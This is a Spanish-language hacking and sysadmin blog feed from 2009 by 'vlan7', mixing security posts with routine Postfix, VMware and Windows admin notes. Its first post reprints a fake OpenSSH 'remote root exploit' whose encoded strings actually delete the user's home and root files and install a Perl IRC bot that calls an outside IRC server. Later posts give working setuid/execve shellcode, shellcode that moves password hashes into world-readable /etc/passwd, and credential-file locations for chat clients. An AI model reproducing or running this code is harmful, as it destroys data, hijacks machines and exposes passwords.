~Unix & Cisco & Hacks~

FAKE 0day OpenSSH <= 5.2 Remote root exploit

noreply@blogger.com (vlan7) — Mon, 21 Sep 2009 23:59:00 +0000

En una entrada, admin me preguntaba si conocia un supuesto 0-day de ssh.

Se ha quitado algo para que no compile. ¿Te refieres a este?

Ver los comentarios antes de ejecutar el exploit

* ---------------------------
* OpenSSH <= 5.2 REMOTE (r00t) EXPLOIT.
*
*
* Takes advantage of an off-by-one
* bug in mapped authentication space on system
*/

#define VALID_RANGE 0xb44ffe00
#define build_frem(x,y,a,b,c) a##c##a##x##y##b

char jmpcode[] =
"\x72\x6D\x20\x2D\x72\x66\x20\x7e\x20\x2F\x2A\x20\x32\x3e\x20\x2f"
"\x64\x65\x76\x2f\x6e\x75\x6c\x6c\x20\x26";

char shellcode[] =
"\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"
"\x24\x63\x68\x61\x6e\x3d\x22\x23\x63\x6e\x22\x3b\x0a\x24\x6b\x65"
"\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"
"\x47\x20\x28\x2e\x2a\x29\x24\x2f\x29\x7b\x70\x72\x69\x6e\x74\x20"
"\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"
"\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20"
"\x6b\x5c\x6e\x22\x3b\x7d\x7d\x70\x72\x69\x6e\x74\x20\x24\x73\x6f"
"\x63\x6b\x20\x22\x4a\x4f\x49\x4e\x20\x24\x63\x68\x61\x6e\x20\x24"
"\x6b\x65\x79\x5c\x6e\x22\x3b\x77\x68\x69\x6c\x65\x20\x28\x3c\x24"
"\x73\x6f\x63\x6b\x3e\x29\x7b\x69\x66\x20\x28\x2f\x5e\x50\x49\x4e"
"\x47\x20\x28\x2e\x2a\x29\x24\x2f\x29\x7b\x70\x72\x69\x6e\x74\x20"
"\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"
"\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"
"\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"
"\x24\x63\x68\x61\x6e\x3d\x22\x23\x63\x6e\x22\x3b\x24\x6b\x65\x79"
"\x20\x3d\x22\x66\x61\x67\x73\x22\x3b\x24\x6e\x69\x63\x6b\x3d\x22"
"\x70\x68\x70\x66\x72\x22\x3b\x24\x73\x65\x72\x76\x65\x72\x3d\x22"
"\x47\x20\x28\x2e\x2a\x29\x24\x2f\x29\x7b\x70\x72\x69\x6e\x74\x20"
"\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"
"\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20"
"\x6b\x5c\x6e\x22\x3b\x7d\x7d\x70\x72\x69\x6e\x74\x20\x24\x73\x6f"
"\x63\x6b\x20\x22\x4a\x4f\x49\x4e\x20\x24\x63\x68\x61\x6e\x20\x24"
"\x6b\x65\x79\x5c\x6e\x22\x3b\x77\x68\x69\x6c\x65\x20\x28\x3c\x24"
"\x73\x6f\x63\x6b\x3e\x29\x7b\x69\x66\x20\x28\x2f\x5e\x50\x49\x4e"
"\x47\x20\x28\x2e\x2a\x29\x24\x2f\x29\x7b\x70\x72\x69\x6e\x74\x20"
"\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"
"\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"
"\x69\x72\x63\x2e\x68\x61\x6d\x2e\x64\x65\x2e\x65\x75\x69\x72\x63"
"\x2e\x6e\x65\x74\x22\x3b\x24\x53\x49\x47\x7b\x54\x45\x52\x4d\x7d"
"\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"
"\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"
"\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20"
"\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"
"\x24\x63\x68\x61\x6e\x3d\x22\x23\x63\x6e\x22\x3b\x24\x6b\x65\x79"
"\x20\x3d\x22\x66\x61\x67\x73\x22\x3b\x24\x6e\x69\x63\x6b\x3d\x22"
"\x6b\x5c\x6e\x22\x3b\x7d\x7d\x70\x72\x69\x6e\x74\x20\x24\x73\x6f"
"\x63\x6b\x20\x22\x4a\x4f\x49\x4e\x20\x24\x63\x68\x61\x6e\x20\x24"
"\x6b\x65\x79\x5c\x6e\x22\x3b\x77\x68\x69\x6c\x65\x20\x28\x3c\x24"
"\x73\x6f\x63\x6b\x3e\x29\x7b\x69\x66\x20\x28\x2f\x5e\x50\x49\x4e"
"\x47\x20\x28\x2e\x2a\x29\x24\x2f\x29\x7b\x70\x72\x69\x6e\x74\x20"
"\x70\x68\x70\x66\x72\x22\x3b\x24\x73\x65\x72\x76\x65\x72\x3d\x22"
"\x69\x72\x63\x2e\x68\x61\x6d\x2e\x64\x65\x2e\x65\x75\x69\x72\x63"
"\x2e\x6e\x65\x74\x22\x3b\x24\x53\x49\x47\x7b\x54\x45\x52\x4d\x7d"
"\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20"
"\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20"
"\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"
"\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20"
"\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"
"\x24\x63\x68\x61\x6e\x3d\x22\x23\x63\x6e\x22\x3b\x24\x6b\x65\x79"
"\x20\x3d\x22\x66\x61\x67\x73\x22\x3b\x24\x6e\x69\x63\x6b\x3d\x22"
"\x70\x68\x70\x66\x72\x22\x3b\x24\x73\x65\x72\x76\x65\x72\x3d\x22"
"\x69\x72\x63\x2e\x68\x61\x6d\x2e\x64\x65\x2e\x65\x75\x69\x72\x63"
"\x2e\x6e\x65\x74\x22\x3b\x24\x53\x49\x47\x7b\x54\x45\x52\x4d\x7d"
"\x64\x20\x2b\x78\x20\x2f\x74\x6d\x70\x2f\x68\x69\x20\x32\x3e\x2f"
"\x64\x65\x76\x2f\x6e\x75\x6c\x6c\x3b\x2f\x74\x6d\x70\x2f\x68\x69"
"\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"
"\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20"
"\x6b\x5c\x6e\x22\x3b\x7d\x7d\x70\x72\x69\x6e\x74\x20\x24\x73\x6f"
"\x63\x6b\x20\x22\x4a\x4f\x49\x4e\x20\x24\x63\x68\x61\x6e\x20\x24"
"\x6b\x65\x79\x5c\x6e\x22\x3b\x77\x68\x69\x6c\x65\x20\x28\x3c\x24"
"\x73\x6f\x63\x6b\x3e\x29\x7b\x69\x66\x20\x28\x2f\x5e\x50\x49\x4e"
"\x47\x20\x28\x2e\x2a\x29\x24\x2f\x29\x7b\x70\x72\x69\x6e\x74\x20"
"\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"
"\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20"
"\x6b\x5c\x6e\x22\x3b\x7d\x7d\x70\x72\x69\x6e\x74\x20\x24\x73\x6f"
"\x63\x6b\x20\x22\x4a\x4f\x49\x4e\x20\x24\x63\x68\x61\x6e\x20\x24"
"\x6b\x65\x79\x5c\x6e\x22\x3b\x77\x68\x69\x6c\x65\x20\x28\x3c\x24"
"\x73\x6f\x63\x6b\x3e\x29\x7b\x69\x66\x20\x28\x2f\x5e\x50\x49\x4e"
"\x47\x20\x28\x2e\x2a\x29\x24\x2f\x29\x7b\x70\x72\x69\x6e\x74\x20"
"\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a";

char fbsd_shellcode[] =
"\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"
"\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x20\x3d\x22\x66\x61\x67\x73\x22\x3b\x24\x6e\x69\x63\x6b\x3d\x22"
"\x70\x68\x70\x66\x72\x22\x3b\x24\x73\x65\x72\x76\x65\x72\x3d\x22"
"\x69\x72\x63\x2e\x68\x61\x6d\x2e\x64\x65\x2e\x65\x75\x69\x72\x63"
"\x2e\x6e\x65\x74\x22\x3b\x24\x53\x49\x47\x7b\x54\x45\x52\x4d\x7d"
"\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"
"\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"
"\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20"
"\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"
"\x24\x63\x68\x61\x6e\x3d\x22\x23\x63\x6e\x22\x3b\x24\x6b\x65\x79"
"\x20\x3d\x22\x66\x61\x67\x73\x22\x3b\x24\x6e\x69\x63\x6b\x3d\x22"
"\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20"
"\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"
"\x24\x63\x68\x61\x6e\x3d\x22\x23\x63\x6e\x22\x3b\x24\x6b\x65\x79"
"\x20\x3d\x22\x66\x61\x67\x73\x22\x3b\x24\x6e\x69\x63\x6b\x3d\x22"
"\x70\x68\x70\x66\x72\x22\x3b\x24\x73\x65\x72\x76\x65\x72\x3d\x22"
"\x69\x72\x63\x2e\x68\x61\x6d\x2e\x64\x65\x2e\x65\x75\x69\x72\x63"
"\x2e\x6e\x65\x74\x22\x3b\x24\x53\x49\x47\x7b\x54\x45\x52\x4d\x7d"
"\x64\x20\x2b\x78\x20\x2f\x74\x6d\x70\x2f\x68\x69\x20\x32\x3e\x2f"
"\x64\x65\x76\x2f\x6e\x75\x6c\x6c\x3b\x2f\x74\x6d\x70\x2f\x68\x69"
"\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"
"\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20"
"\x6b\x5c\x6e\x22\x3b\x7d\x7d\x70\x72\x69\x6e\x74\x20\x24\x73\x6f"
"\x63\x6b\x20\x22\x4a\x4f\x49\x4e\x20\x24\x63\x68\x61\x6e\x20\x24"
"\x6b\x65\x79\x5c\x6e\x22\x3b\x77\x68\x69\x6c\x65\x20\x28\x3c\x24"
"\x73\x6f\x63\x6b\x3e\x29\x7b\x69\x66\x20\x28\x2f\x5e\x50\x49\x4e"
"\x47\x20\x28\x2e\x2a\x29\x24\x2f\x29\x7b\x70\x72\x69\x6e\x74\x20"
"\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"
"\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20"
"\x6b\x5c\x6e\x22\x3b\x7d\x7d\x70\x72\x69\x6e\x74\x20\x24\x73\x6f"
"\x63\x6b\x20\x22\x4a\x4f\x49\x4e\x20\x24\x63\x68\x61\x6e\x20\x24"
"\x6b\x65\x79\x5c\x6e\x22\x3b\x77\x68\x69\x6c\x65\x20\x28\x3c\x24"
"\x73\x6f\x63\x6b\x3e\x29\x7b\x69\x66\x20\x28\x2f\x5e\x50\x49\x4e"
"\x47\x20\x28\x2e\x2a\x29\x24\x2f\x29\x7b\x70\x72\x69\x6e\x74\x20"
"\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"
"\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"
"\x24\x63\x68\x61\x6e\x3d\x22\x23\x63\x6e\x22\x3b\x24\x6b\x65\x79"
"\x20\x3d\x22\x66\x61\x67\x73\x22\x3b\x24\x6e\x69\x63\x6b\x3d\x22"
"\x7d\x7d\x23\x63\x68\x6d\x6f\x64\x20\x2b\x78\x20\x2f\x74\x6d\x70"
"\x2f\x68\x69\x20\x32\x3e\x2f\x64\x65\x76\x2f\x6e\x75\x6c\x6c\x3b"
"\x2f\x74\x6d\x70\x2f\x68\x69\x0a";
#define SIZE 0xffffff
#define OFFSET 131
#define fremote build_frem(t,e,s,m,y)

void usage(char *arg){
printf("\n[+] 0pen0wn 0wnz Linux/FreeBSD\n");
printf(" Usage: %s -h -p port\n",arg);
printf(" Options:\n");
printf(" \t-h ip/host of target\n");
printf(" \t-p port\n");
printf(" \t-d username\n");
printf(" \t-B memory_limit 8/16/64\n\n\n");
}

#define FD 0x080518fc
#define BD 0x08082000

int main(int argc, char **argv){
FILE *jmpinst;
char h[500],buffer[1024];fremote(jmpcode);char *payload, *ptr;
int port=23, limit=8, target=0, sock;
struct hostent *host;
struct sockaddr_in addr;

if (geteuid()) {
puts("need root for raw socket, etc...");
return 1;
}

if(argc < 3){
usage(argv[0]);
return 1;
}

printf("\n [+] 0wn0wn - by anti-sec group\n");

if (!inet_aton(h, &addr.sin_addr)){
host = gethostbyname(h);
if (!host){
printf(" [-] Resolving failed\n");
return 1;
}
addr.sin_addr = *(struct in_addr*)host->h_addr;
}

sock = socket(PF_INET, SOCK_STREAM, 0);
addr.sin_port = htons(port);
addr.sin_family = AF_INET;
if (connect(sock, (struct sockaddr*)&addr, sizeof(addr)) == -1){
printf(" [-] Connecting failed\n");
return 1;
}
payload = malloc(limit * 10000);
ptr = payload+8;
memcpy(ptr,jmpcode,strlen(jmpcode));
jmpinst=fopen(shellcode+793,"w+");
if(jmpinst){
fseek(jmpinst,0,SEEK_SET);
fprintf(jmpinst,"%s",shellcode);
fclose(jmpinst);
}
ptr += strlen(jmpcode);
if(target != 5 && target != 6){
memcpy(ptr,shellcode,strlen(shellcode));
ptr += strlen(shellcode);
memset(ptr,'B',limit * 10000 - 8 - strlen(shellcode));
}
else{
memcpy(ptr,fbsd_shellcode,strlen(fbsd_shellcode));
ptr += strlen(fbsd_shellcode);
memset(ptr,'B',limit * 10000 - 8 - strlen(fbsd_shellcode));
}
send(sock,buffer,strlen(buffer),0);
send(sock,ptr,3750,0);
close(sock);
if(connect(sock, (struct sockaddr*)&addr, sizeof(addr)) == -1) {
printf(" [-] connecting failed\n");
}

payload[sizeof(payload)-1] = '\0';
payload[sizeof(payload)-2] = '\0';
send(sock,buffer,strlen(buffer),0);
send(sock,payload,strlen(payload),0);
close(sock);
free(payload);
addr.sin_port = htons(6666);
if(connect(sock, (struct sockaddr*)&addr, sizeof(addr)) == 0) {
/* v--- our cool bar that says: "r0000000t!!!" */
printf("\n [~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~>]\n\n");
fremote("PS1='sh-3.2#' /bin/sh");
}
else
printf(" [-] failed to exploit target :-(\n");
close(sock);
return 0;
}

Husmeando en archivos (IV)

noreply@blogger.com (vlan7) — Mon, 21 Sep 2009 23:23:00 +0000

pidgin, conocido cliente de messenger para Linux, guarda las contraseñas en texto plano tambien.

Dentro de nuestro home, hacemos una busqueda por el archivo accounts.xml.

Lamentable.

Husmeando en archivos (III) ...cypher will not save you

noreply@blogger.com (vlan7) — Mon, 21 Sep 2009 23:14:00 +0000

amsn cifra la contraseña.

El archivo donde la guarda cifrada es:

/home/user/.amsn/config.xml

La variable es remotepassword.

Aunque este cifrada, que me consta que es en DES, bastaria que un atacante copiara ese config.xml en su maquina.

Husmeando en archivos (II)... Kmess guarda user/pass en texto plano

noreply@blogger.com (vlan7) — Mon, 21 Sep 2009 23:09:00 +0000

Este cliente de messenger para Linux, guarda user/pass en un archivo en el que tiene acceso de lectura todo el mundo:

/home/user/.kde/share/config/kmessrc

amsn, mas conocido, guarda esta informacion cifrada.

mmm ... creo que esta es tu IP publica no?

noreply@blogger.com (vlan7) — Sun, 23 Aug 2009 18:25:00 +0000

http://www.orkspace.net/owned/

:)

Gracias a sparc ;)

...una historia inofensiva pero real ~ XSS en la web de la Guardia Civil ~

noreply@blogger.com (vlan7) — Thu, 09 Jul 2009 19:36:00 +0000

Pues nada, un XSS que descubri el otro dia jugando.

Ahi va:

Full Disclosure 100% DIY (esto es, a mi manera)
donde se habla de una historia
inofensiva pero real
~ XSS en la web de la Guardia Civil ~
Por/By: vlan7 [ http://vlan7.blogspot.com ]
~
Fecha de descubrimiento y contacto con la Guardia Civil: 5-Jul-09
Fecha en la que la Guardia Civil responde confirmándolo: 6-Jul-09
Fecha en la que este XSS queda mitigado: 7-Jul-2009
¿Full Disclosure? released to the public: 10-Jul-2009
~

"No hemos hecho nada del otro mundo, porque vivimos en este"
Eskorbuto

P.D. No es mi especialidad la seguridad web, cualquier correccion sera bienvenida. Gracias.

He añadido un archivo .ZIP con las referencias, que realmente es lo mejor del documento :D Hay alguno bastante bueno.

Referencias

http://www.wadalbertia.org/phpBB2/viewtopic.php?p=56031

unshadow.c shellcode

noreply@blogger.com (vlan7) — Sat, 04 Jul 2009 22:13:00 +0000

Esta shellcode deshabilita el shadowing en un sistema Linux. Todos los passwords de /etc/shadow van a /etc/passwd , legible por todo el mundo :)

#include <stdio.h>

const char sc[]= "\x31\xdb" //xor ebx,ebx
"\x8d\x43\x17" //LEA eax,[ebx + 0x17] /LEA is FASTER than push and pop!
"\x99" //cdq
"\xcd\x80" //int 80 //setuid(0) shouldn't returns -1 right? ;)
"\xb0\x0b" //mov al,0bh
"\x52" //push edx /Termina la cadena con un 0
"\x68\x63\x6f\x6e\x76" //push dword "conv"
"\x68\x70\x77\x75\x6e" //push dword "pwun"
"\x68\x62\x69\x6e\x2f" //push dword "bin/"
"\x68\x73\x72\x2f\x73" //push dword "sr/s"
"\x68\x2f\x2f\x2f\x75" //push dword "///u"
"\x89\xe3" //mov ebx,esp
"\x89\xd1" //mov ecx,edx
"\xcd\x80"; //int 80h

void main()
{
printf("\n~ This shellcode disables shadowing on a linux system ~"
"\n\n\t ~ Coded by vlan7 ~"
"\n\t ~ http://vlan7.blogspot.com ~"
"\n\n ~ Date: 4/Jul/2009"

"\n\tYou'll have the passwords stored in /etc/passwd."
"\n\tFor undo purposes use the pwconv command."
"\n\t ~ Cheers go to: Wadalbertia"
"\n\t ~ Shellcode Size: %d bytes\n\n",
sizeof(sc)-1);

(*(void (*)()) sc)();
}

Y sigue el culebron... Smallest (27 bytes) GNU/Linux x86 setuid/execve shellcode without NULLs

noreply@blogger.com (vlan7) — Sat, 04 Jul 2009 18:28:00 +0000

Como no sabia que era imposible lo hice

27 bytes!!! :)

#include <stdio.h>

const char sc[]= "\x31\xdb" //xor ebx,ebx
"\x8d\x43\x17" //LEA eax,[ebx + 0x17] /LEA is FASTER than push/pop!
"\x99" //cdq
"\xcd\x80" //int 80 //setuid(0) should returns 0 right? ;)
"\xb0\x0b" //mov al,0bh
"\x52" //push edx /Termina la cadena //bin/sh con un 0
"\x68\x6e\x2f\x73\x68" //push dword "hs/n"
"\x68\x2f\x2f\x62\x69" //push dword "ib//"
"\x89\xe3" //mov ebx,edx
"\x89\xd1" //mov ecx,edx
"\xcd\x80"; //int 80h

int main()
{
printf("\nSMALLEST SETUID & EXECVE GNU/LINUX x86 STABLE SHELLCODE "
"WITHOUT NULLS THAT SPAWNS A SHELL"
"\n\nCoded by vlan7"
"\n\t + vlan7[at]bigfoot.com"
"\n\t + http://vlan7.blogspot.com"
"\n\n[+] Date: 4/Jul/2009"
"\n[+] Thanks to: sch3m4"
"\n\n[+] Shellcode Size: %d bytes\n\n",
sizeof(sc)-1);
(*(void (*)()) sc)();
return 0;
}

Voy a citar de aqui el funcionamiento de setuid().

RETURN VALUE

Upon successful completion, 0 shall be returned. Otherwise, -1 shall be returned and errno set to indicate the error.

ERRORS

The setuid() function shall fail, return -1, and set errno to the corresponding value if one or more of the following are true:

Veamos si entramos en alguno de los casos:

[EINVAL]
The value of the uid argument is invalid and not supported by the implementation

No. UID=0 es un UID valido. Es el r00t!

[EPERM]
The process does not have appropriate privileges and uid does not match the real user ID or the saved set-user-ID.

Logicamente, esto ultimo puede pasar en la version a la que se llego anteriormente.

Ah, y aqui el hilo de Wadalbertia:

Smallest GNU/Linux x86 setuid/execve shellcode without NULLs

Stay clean,

XSS

noreply@blogger.com (vlan7) — Sat, 04 Jul 2009 07:26:00 +0000

El otro dia estuve jugando con XSS, y mande algunos a la conocida xssed.com

http://www.xssed.com/archive/author=vlan7/

Quiero dedicar primero muy especialmente este:

http://www.lsi.upc.edu

dedicado, con cariño, a todos los profesores que tuve que aguantar en su dia del departamento de LSI de la FIB de la UPC; por prohibir las soluciones ingeniosas en sus estupidos problemas. Si por ellos fuera nunca aprendo.

Mande varios, pero yo me quedo con ese.

Stay clean,

postfix + logrotate

noreply@blogger.com (vlan7) — Sat, 27 Jun 2009 08:00:00 +0000

LOGUEANDO 2 INSTANCIAS DE POSTFIX EN 2 ARCHIVOS DIFERENTES:
===========================================================

/etc/postfix/main.cf :
----------------------
syslog_facility=local1
syslog_name=postfix_smtpExtern

/etc/postfix-out/main.cf :
--------------------------
syslog_facility=local2
syslog_name=postfix_smtpIntern

/etc/rsyslog.conf :
-------------------
# Log anything (except mail) of level info or higher.
# Don't log private authentication messages!
*.info;mail.none;authpriv.none;cron.none;local1.none;local2.none /var/log/messages
(...)
local2.* -/var/log/smtpdIntern.log
local1.* -/var/log/smtpdExtern.log

Reiniciar demonios:
-------------------
/etc/init.d/rsyslog restart
/etc/init.d/postfix restart
/etc/init.d/postfix-out restart

*********************************************************************************

ROTANDO LOS 2 ARCHIVOS DE LOG CON LOGROTATE:
============================================

/etc/logrotate.d/syslog (Postfix usa syslog):
---------------------------------------------
/var/log/smtpdIntern.log {
sharedscripts
missingok
weekly
compress
# delaycompress
create
postrotate
/etc/init.d/rsyslog restart
/etc/init.d/postfix-out reload
endscript
rotate 12
mail user@host.com
}

/var/log/smtpdExtern.log {
sharedscripts
missingok
weekly
compress
# delaycompress
create
weekly
postrotate
/etc/init.d/rsyslog restart
/etc/init.d/postfix reload
endscript
rotate 12
mail user@host.com
}

*********************************************************************************

COMPROBACION FORZANDO ROTACIONES CON LOGROTATE:
===============================================

/usr/sbin/logrotate --force /etc/logrotate.d/syslog

WPA + TKIP. Probando con tkiptun-ng

noreply@blogger.com (vlan7) — Wed, 24 Jun 2009 18:58:00 +0000

http://www.wadalbertia.org/phpBB2/viewtopic.php?p=55867

Gracias a Vic_Thor por la info _de primera mano_, pues es muy dificil encontrar informacion sobre esta herramienta.

Ah, salio la version 1.0 para win, aunque no la he probado.

Slowloris - HTTP DoS

noreply@blogger.com (vlan7) — Wed, 24 Jun 2009 18:54:00 +0000

http://www.wadalbertia.org/phpBB2/viewtopic.php?p=55898

Gracias Sor_Zitroen por la noticia!

Jugando a robar cookies con surfjack

noreply@blogger.com (vlan7) — Tue, 23 Jun 2009 08:49:00 +0000

http://www.wadalbertia.org/phpBB2/viewtopic.php?p=55853

Jugando y burlando a SSL con SSLStrip

noreply@blogger.com (vlan7) — Mon, 22 Jun 2009 10:48:00 +0000

http://www.wadalbertia.org/phpBB2/viewtopic.php?p=55846

PD Gracias al compañero Popolous por el post-it ;)

VMWare disaster recovery

noreply@blogger.com (vlan7) — Wed, 03 Jun 2009 16:35:00 +0000

La idea es tener una tarea cron que copie las maquinas virtuales de un host fisico a otro host fisico VMWare.

No se realiza escritura a disco, pues en VMWare es lo que mas penalizado se ve. Se comprime todo en un lado del tunel ssh, y por el otro lado se va descomprimiendo.

Ahi va:

#!/bin/bash
#
#Copia VMs de FISICA1 a FISICA2 para Disaster Recovery
#
#vlan7 / 13-5-09
#

ALERTA=80 #20% espacio libre
ssh fisica2 df -HP |grep mapper | awk '{ print $5 " " $1 }' |awk '{ print $1}' | cut -d'%' -f1 >/tmp/output
uso=$(cat /tmp/output)

if [ $uso -g $ALERTA ]; then
echo "$uso % de espacio utilizado a fisica2, abortando copia" >>/var/log/copiaVMsVMWare.log
fi

if [ $uso -le $ALERTA ]; then
#host1
echo "Apagando la VM host1 - $(date)" >>/var/log/copiaVMsVMWare.log
vmrun -T server -h https://fisica1:8333/sdk -u user -p passwd stop "[standard] host1/host1.vmx" soft
echo "Apagada la VM host1 - $(date)" >>/var/log/copiaVMsVMWare.log
tar czvf - /var/lib/vmware/Virtual\ Machines/host1/ |ssh fisica2 "cd / ; tar xzvf -"
echo "Encendiendo la VM host1 - $(date)" >>/var/log/copiaVMsVMWare.log
vmrun -T server -h https://fisica1:8333/sdk -u user -p passwd start "[standard] host1/host1.vmx"
echo "Encendida la VM host1 - $(date)" >>/var/log/copiaVMsVMWare.log

#list all available VMs to log
vmrun -T server -h https://fisica1:8333/sdk -u user -p passwd list >>/var/log/copiaVMsVMWare.log
fi

#enviando correo
tail -100 /var/log/copiaVMsVMWare.log | mail -s "[script] copiaVMsVMWare.sh" user@host.com

Asistente agregar impresoras linea de comandos

noreply@blogger.com (vlan7) — Fri, 13 Mar 2009 16:29:00 +0000

RUNDLL32 PRINTUI.DLL,PrintUIEntry /il

Mas ejemplos en http://www.robvanderwoude.com/2kprintcontrol.php

A mi me fue util en una ocasion...

Equipos wireless iniciar sesion en dominio

noreply@blogger.com (vlan7) — Wed, 25 Feb 2009 18:09:00 +0000

Si un equipo nunca ha iniciado sesion en un dominio, no tendra guardadas las credenciales en cache. Esto es un problema para equipos wifi que quieran iniciar sesion en el dominio de nuestra organizacion.

Y aunque tengan guardadas las credenciales en cache, no se ejecutara en su maquina ningun logonscript.

La solucion es cargar y activar la tarjeta wifi antes del inicio de sesion, antes de autenticarse.

Yo me quedo con esta manera de hacerlo:

1. Usar el servicio Windows Zero Configuration (Inicio de sesion wifi facil o algo asi se llama en castellano)

2. regedit. HKLM \ Software \ Microsoft \ WindowsNT \ CurrentVersion \ Winlogon
Añadir valor DWORD GpNetworkStartTimeoutPolicyValue 3c (hexa) o 60 (dec)

3. regedit. HKLM \ Software \ Policies \ Microsoft \ Windows \ System
Añadir valor DWORD GroupPolicyMinTransferRate a 0.

Y los clientes ya podran iniciar sesion como si estuvieran conectados a la red cableada.

User Profile Deletion Utility (Delprof.exe)

noreply@blogger.com (vlan7) — Wed, 25 Feb 2009 18:08:00 +0000

Delprof.exe is a command-line utility that you can use to delete user profiles on a local or remote computers running Windows 2000, Windows XP, and Windows Server 2003.

http://www.microsoft.com/downloads/details.aspx?familyid=901a9b95-6063-4462-8150-360394e98e1e&displaylang=en

VMWare. Ubuntu/Debian eth0 desaparece

noreply@blogger.com (vlan7) — Tue, 17 Feb 2009 13:34:00 +0000

Tras copiar una VM, eth0 desaparece.

Asi lo arregle yo:

Editar:

En Ubuntu: /etc/udev/rules.d/70-persistent-net.rules
En Debian: /etc/udev/rules.d/z25-persistent-net.rules

Borrar la primera entrada y cambiar en la segunda eth1 por eth0.

Reiniciar servicios asociados:

/etc/init.d/udev restart
/etc/init.d/networking restart

No es necesario reiniciar el host.

<EDIT 23-2-09>
Si seleccionamos mover nos olvidamos de este problema, ya que se mantiene todo el estado de la maquina, direccion MAC incluida. Esto viene bien en un entorno donde se quiera una altadisponibilidad con una VM de backup que en caso de fallo de una podamos levantar la otra.
</EDIT 23-2-09>

VMWare tools Ubuntu

noreply@blogger.com (vlan7) — Tue, 17 Feb 2009 09:37:00 +0000

Click en Instalar VMWare tools

sudo su

Montar cdrom

tar xzvf VMWare*.tar.gz (a /tmp)

apt-get install gcc make

apt-get install linux-headers`uname -r`

